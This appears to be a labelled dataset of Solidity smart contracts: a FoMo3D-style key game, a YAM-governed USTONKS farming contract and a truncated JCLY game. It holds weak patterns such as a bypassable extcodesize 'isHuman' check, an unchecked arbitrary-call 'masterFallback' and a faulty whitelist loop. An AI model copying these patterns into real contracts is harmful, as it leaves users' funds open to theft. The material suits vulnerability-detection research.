uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 797 |
pragma solidity ^0.5.15;
pragma experimental ABIEncoderV2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface UniswapPair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract UniHelper{
using SafeMath for uint256;
uint256 internal constant ONE = 10**18;
function _mintLPToken(
UniswapPair uniswap_pair,
IERC20 token0,
IERC20 token1,
uint256 amount_token1,
address token0_source
) internal {
(uint256 reserve0, uint256 reserve1, ) = uniswap_pair
.getReserves();
uint256 quoted = quote(reserve0, reserve1);
uint256 amount_token0 = quoted.mul(amount_token1).div(ONE);
token0.transferFrom(token0_source, address(uniswap_pair), amount_token0);
token1.transfer(address(uniswap_pair), amount_token1);
UniswapPair(uniswap_pair).mint(address(this));
}
function _burnLPToken(UniswapPair uniswap_pair, address destination) internal {
uniswap_pair.transfer(
address(uniswap_pair),
uniswap_pair.balanceOf(address(this))
);
UniswapPair(uniswap_pair).burn(destination);
}
function quote(uint256 purchaseAmount, uint256 saleAmount)
internal
pure
returns (uint256)
{
return purchaseAmount.mul(ONE).div(saleAmount);
}
}
contract YamGoverned {
event NewGov(address oldGov, address newGov);
event NewPendingGov(address oldPendingGov, address newPendingGov);
address public gov;
address public pendingGov;
modifier onlyGov {
require(msg.sender == gov, "!gov");
_;
}
function _setPendingGov(address who)
public
onlyGov
{
address old = pendingGov;
pendingGov = who;
emit NewPendingGov(old, who);
}
function _acceptGov()
public
{
require(msg.sender == pendingGov, "!pendingGov");
address oldgov = gov;
gov = pendingGov;
pendingGov = address(0);
emit NewGov(oldgov, gov);
}
}
contract YamSubGoverned is YamGoverned {
event SubGovModified(
address account,
bool isSubGov
);
mapping(address => bool) public isSubGov;
modifier onlyGovOrSubGov() {
require(msg.sender == gov || isSubGov[msg.sender]);
_;
}
function setIsSubGov(address subGov, bool _isSubGov)
public
onlyGov
{
isSubGov[subGov] = _isSubGov;
emit SubGovModified(subGov, _isSubGov);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call.value(weiValue)(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library Babylonian {
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library FixedPoint {
struct uq112x112 {
uint224 _x;
}
struct uq144x112 {
uint _x;
}
uint8 private constant RESOLUTION = 112;
uint private constant Q112 = uint(1) << RESOLUTION;
uint private constant Q224 = Q112 << RESOLUTION;
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) {
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, 'FixedPoint: ZERO_RECIPROCAL');
return uq112x112(uint224(Q224 / self._x));
}
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
library UniswapV2OracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2 ** 32);
}
function currentCumulativePrices(
address pair,
bool isToken0
) internal view returns (uint priceCumulative, uint32 blockTimestamp) {
blockTimestamp = currentBlockTimestamp();
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = UniswapPair(pair).getReserves();
if (isToken0) {
priceCumulative = UniswapPair(pair).price0CumulativeLast();
if (blockTimestampLast != blockTimestamp) {
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
priceCumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
}
} else {
priceCumulative = UniswapPair(pair).price1CumulativeLast();
if (blockTimestampLast != blockTimestamp) {
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
priceCumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
}
contract TWAPBoundedUSTONKSSEPT {
using SafeMath for uint256;
uint256 internal constant BASE = 10**18;
uint256 internal constant ONE = 10**18;
UniswapPair internal uniswap_pair =
UniswapPair(0xb9292B40cab08e5208b863ea9c4c4927a2308eEE);
IERC20 internal constant USDC =
IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IERC20 internal constant SEPT_USTONKS =
IERC20(0xad4353347f05438Ace12aef7AceF6CB2b4186C00);
uint32 internal block_timestamp_last;
uint256 internal price_cumulative_last;
uint256 internal constant MIN_TWAP_TIME = 60 * 60;
uint256 internal constant MAX_TWAP_TIME = 120 * 60;
uint256 internal constant TWAP_BOUNDS = 5 * 10**15;
function quote(uint256 purchaseAmount, uint256 saleAmount)
internal
pure
returns (uint256)
{
return purchaseAmount.mul(ONE).div(saleAmount);
}
function bounds(uint256 uniswap_quote) internal pure returns (uint256) {
uint256 minimum = uniswap_quote.mul(BASE.sub(TWAP_BOUNDS)).div(BASE);
return minimum;
}
function bounds_max(uint256 uniswap_quote) internal pure returns (uint256) {
uint256 maximum = uniswap_quote.mul(BASE.add(TWAP_BOUNDS)).div(BASE);
return maximum;
}
function withinBounds(uint256 purchaseAmount, uint256 saleAmount)
internal
view
returns (bool)
{
uint256 uniswap_quote = consult();
uint256 quoted = quote(purchaseAmount, saleAmount);
uint256 minimum = bounds(uniswap_quote);
uint256 maximum = bounds_max(uniswap_quote);
return quoted > minimum && quoted < maximum;
}
function update_twap() public {
(uint256 sell_token_priceCumulative, uint32 blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(
address(uniswap_pair),
false
);
uint32 timeElapsed = blockTimestamp - block_timestamp_last;
require(timeElapsed >= MIN_TWAP_TIME, "OTC: MIN_TWAP_TIME NOT ELAPSED");
price_cumulative_last = sell_token_priceCumulative;
block_timestamp_last = blockTimestamp;
}
function consult() internal view returns (uint256) {
(uint256 sell_token_priceCumulative, uint32 blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(
address(uniswap_pair),
false
);
uint32 timeElapsed = blockTimestamp - block_timestamp_last;
uint256 priceAverageSell =
uint256(
uint224(
(sell_token_priceCumulative - price_cumulative_last) /
timeElapsed
)
);
uint256 purchasePrice;
if (priceAverageSell > uint192(-1)) {
purchasePrice = (priceAverageSell >> 112) * ONE;
} else {
purchasePrice = (priceAverageSell * ONE) >> 112;
}
return purchasePrice;
}
modifier timeBoundsCheck() {
uint256 elapsed_since_update = block.timestamp - block_timestamp_last;
require(
block.timestamp - block_timestamp_last < MAX_TWAP_TIME,
"Cumulative price snapshot too old"
);
require(
block.timestamp - block_timestamp_last > MIN_TWAP_TIME,
"Cumulative price snapshot too new"
);
_;
}
}
interface SynthMinter {
struct Unsigned {
uint256 rawValue;
}
struct PositionData {
Unsigned tokensOutstanding;
uint256 withdrawalRequestPassTimestamp;
Unsigned withdrawalRequestAmount;
Unsigned rawCollateral;
uint256 transferPositionRequestPassTimestamp;
}
function create(
Unsigned calldata collateralAmount,
Unsigned calldata numTokens
) external;
function redeem(Unsigned calldata debt_amount) external returns(Unsigned memory);
function withdraw(Unsigned calldata collateral_amount) external;
function positions(address account) external returns (PositionData memory);
function settleExpired() external returns (Unsigned memory);
function expire() external;
}
contract USTONKSSEPTFarming is TWAPBoundedUSTONKSSEPT, UniHelper, YamSubGoverned {
enum ACTION {
ENTER,
EXIT
}
constructor(address gov_) public {
gov = gov_;
}
SynthMinter minter =
SynthMinter(0x799c9518Ea434bBdA03d4C0EAa58d644b768d3aB);
bool completed = true;
ACTION action;
address internal constant RESERVES =
address(0x97990B693835da58A281636296D2Bf02787DEa17);
function _mint(uint256 collateral_amount, uint256 mint_amount) internal {
USDC.transferFrom(RESERVES, address(this), collateral_amount);
USDC.approve(address(minter), uint256(-1));
minter.create(
SynthMinter.Unsigned(collateral_amount),
SynthMinter.Unsigned(mint_amount)
);
}
function _repayAndWithdraw() internal {
SEPT_USTONKS.approve(address(minter), uint256(-1));
SynthMinter.PositionData memory position = minter.positions(
address(this)
);
uint256 ustonksBalance = SEPT_USTONKS.balanceOf(address(this));
if (ustonksBalance >= position.tokensOutstanding.rawValue) {
minter.redeem(position.tokensOutstanding);
} else {
minter.redeem(
SynthMinter.Unsigned(
position.tokensOutstanding.rawValue - ustonksBalance <=
1 * (10**6)
? position.tokensOutstanding.rawValue - 1 * (10**6)
: ustonksBalance
)
);
}
}
function enter() public timeBoundsCheck {
require(action == ACTION.ENTER, "Wrong action");
require(!completed, "Action completed");
uint256 ustonksReserves;
uint256 usdcReserves;
(usdcReserves, ustonksReserves, ) = uniswap_pair.getReserves();
require(
withinBounds(usdcReserves, ustonksReserves),
"Market rate is outside bounds"
);
uint256 usdcBalance = USDC.balanceOf(RESERVES);
require(usdcBalance > 100000 * (10**6), "Not enough USDC");
uint256 collateral_amount = (usdcBalance * 79) / 100;
uint256 mint_amount = (collateral_amount * ustonksReserves) /
usdcReserves /
4;
_mint(collateral_amount, mint_amount);
_mintLPToken(uniswap_pair, USDC, SEPT_USTONKS, mint_amount, RESERVES);
completed = true;
}
function exit() public timeBoundsCheck {
require(action == ACTION.EXIT);
require(!completed, "Action completed");
uint256 ustonksReserves;
uint256 usdcReserves;
(usdcReserves,ustonksReserves, ) = uniswap_pair.getReserves();
require(
withinBounds(usdcReserves, ustonksReserves),
"Market rate is outside bounds"
);
_burnLPToken(uniswap_pair, address(this));
_repayAndWithdraw();
USDC.transfer(RESERVES, USDC.balanceOf(address(this)));
uint256 ustonksBalance = SEPT_USTONKS.balanceOf(address(this));
if (ustonksBalance > 0) {
SEPT_USTONKS.transfer(RESERVES, ustonksBalance);
}
completed = true;
}
function _approveEnter() public onlyGovOrSubGov {
completed = false;
action = ACTION.ENTER;
}
function _approveExit() public onlyGovOrSubGov {
completed = false;
action = ACTION.EXIT;
}
function _redeem(uint256 debt_to_pay) public onlyGovOrSubGov {
minter.redeem(SynthMinter.Unsigned(debt_to_pay));
}
function _withdrawCollateral(uint256 amount_to_withdraw)
public
onlyGovOrSubGov
{
minter.withdraw(SynthMinter.Unsigned(amount_to_withdraw));
}
function _settleExpired() public onlyGovOrSubGov {
minter.settleExpired();
}
function masterFallback(address target, bytes memory data)
public
onlyGovOrSubGov
{
target.call.value(0)(data);
}
function _getTokenFromHere(address token) public onlyGovOrSubGov {
IERC20 t = IERC20(token);
t.transfer(RESERVES, t.balanceOf(address(this)));
}
} | 1 | 2,871 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract JCLYLong is Pausable {
using SafeMath for *;
event KeyPurchase(address indexed purchaser, uint256 eth, uint256 amount);
event LeekStealOn();
address private constant WALLET_ETH_COM1 = 0x2509CF8921b95bef38DEb80fBc420Ef2bbc53ce3;
address private constant WALLET_ETH_COM2 = 0x18d9fc8e3b65124744553d642989e3ba9e41a95a;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 constant private ethLimiterRange1_ = 1e20;
uint256 constant private ethLimiterRange2_ = 5e20;
uint256 constant private ethLimiter1_ = 2e18;
uint256 constant private ethLimiter2_ = 7e18;
uint256 constant private whitelistRange_ = 3 days;
uint256 constant private priceStage1_ = 500e18;
uint256 constant private priceStage2_ = 1000e18;
uint256 constant private priceStage3_ = 2000e18;
uint256 constant private priceStage4_ = 4000e18;
uint256 constant private priceStage5_ = 8000e18;
uint256 constant private priceStage6_ = 16000e18;
uint256 constant private priceStage7_ = 32000e18;
uint256 constant private priceStage8_ = 64000e18;
uint256 constant private priceStage9_ = 128000e18;
uint256 constant private priceStage10_ = 256000e18;
uint256 constant private priceStage11_ = 512000e18;
uint256 constant private priceStage12_ = 1024000e18;
uint256 constant private guPhrase1_ = 5 days;
uint256 constant private guPhrase2_ = 7 days;
uint256 constant private guPhrase3_ = 9 days;
uint256 constant private guPhrase4_ = 11 days;
uint256 constant private guPhrase5_ = 13 days;
uint256 constant private guPhrase6_ = 15 days;
uint256 constant private guPhrase7_ = 17 days;
uint256 constant private guPhrase8_ = 19 days;
uint256 constant private guPhrase9_ = 21 days;
uint256 constant private guPhrase10_ = 23 days;
uint256 public contractStartDate_;
uint256 public allMaskGu_;
uint256 public allGuGiven_;
mapping (uint256 => uint256) public playOrders_;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public leekStealPot_;
uint256 public leekStealTracker_ = 0;
uint256 public leekStealToday_;
bool public leekStealOn_;
mapping (uint256 => uint256) public dayStealTime_;
uint256 public pID_;
mapping (address => uint256) public pIDxAddr_;
mapping (uint256 => Datasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => Datasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (uint256 => Datasets.PlayerPhrases)) public plyrPhas_;
uint256 public rID_;
mapping (uint256 => Datasets.Round) public round_;
uint256 public phID_;
mapping (uint256 => Datasets.Phrase) public phrase_;
mapping(address => bool) public whitelisted_Prebuy;
constructor()
public
{
pIDxAddr_[WALLET_ETH_COM1] = 1;
plyr_[1].addr = WALLET_ETH_COM1;
pIDxAddr_[WALLET_ETH_COM2] = 2;
plyr_[2].addr = WALLET_ETH_COM2;
pID_ = 2;
}
modifier isActivated() {
require(activated_ == true);
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
pID_++;
pIDxAddr_[msg.sender] = pID_;
plyr_[pID_].addr = msg.sender;
_pID = pID_;
}
buyCore(_pID, plyr_[_pID].laff);
}
function buyXid(uint256 _affID)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
pID_++;
pIDxAddr_[msg.sender] = pID_;
plyr_[pID_].addr = msg.sender;
_pID = pID_;
}
if (_affID == 0 || _affID == _pID || _affID > pID_)
{
_affID = plyr_[_pID].laff;
}
else if (_affID != plyr_[_pID].laff)
{
if (plyr_[_pID].laff == 0)
plyr_[_pID].laff = _affID;
else
_affID = plyr_[_pID].laff;
}
buyCore(_pID, _affID);
}
function reLoadXid()
isActivated()
isHuman()
public
{
uint256 _pID = pIDxAddr_[msg.sender];
require(_pID > 0);
reLoadCore(_pID, plyr_[_pID].laff);
}
function reLoadCore(uint256 _pID, uint256 _affID)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[rID_].strt + whitelistRange_) {
require(whitelisted_Prebuy[plyr_[_pID].addr] || whitelisted_Prebuy[plyr_[_affID].addr]);
}
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
uint256 _eth = withdrawEarnings(_pID, false);
plyr_[_pID].gen = 0;
core(_rID, _pID, _eth, _affID);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
endRound();
}
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
round_[_rID].ended = true;
endRound();
_eth = withdrawEarnings(_pID, true);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
} else {
_eth = withdrawEarnings(_pID, true);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
}
}
function updateWhitelist(address[] _addrs, bool _isWhitelisted)
public
onlyOwner
{
for (uint i = 0; i < _addrs.length; i++) {
whitelisted_Prebuy[_addrs[i]] = _isWhitelisted;
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
pID_++;
pIDxAddr_[_addrs[i]] = pID_;
plyr_[pID_].addr = _addrs[i];
}
}
}
function getPrice()
public
view
returns(uint256)
{
uint256 keys = keysRec(round_[rID_].eth, 1e18);
return (1e36 / keys);
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add(calcUnMaskedKeyEarnings(_pID, plyr_[_pID].lrnd)),
(plyr_[_pID].genGu).add(calcUnMaskedGuEarnings(_pID)),
plyr_[_pID].aff,
plyr_[_pID].refund
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedKeyEarnings(_pID, plyr_[_pID].lrnd)),
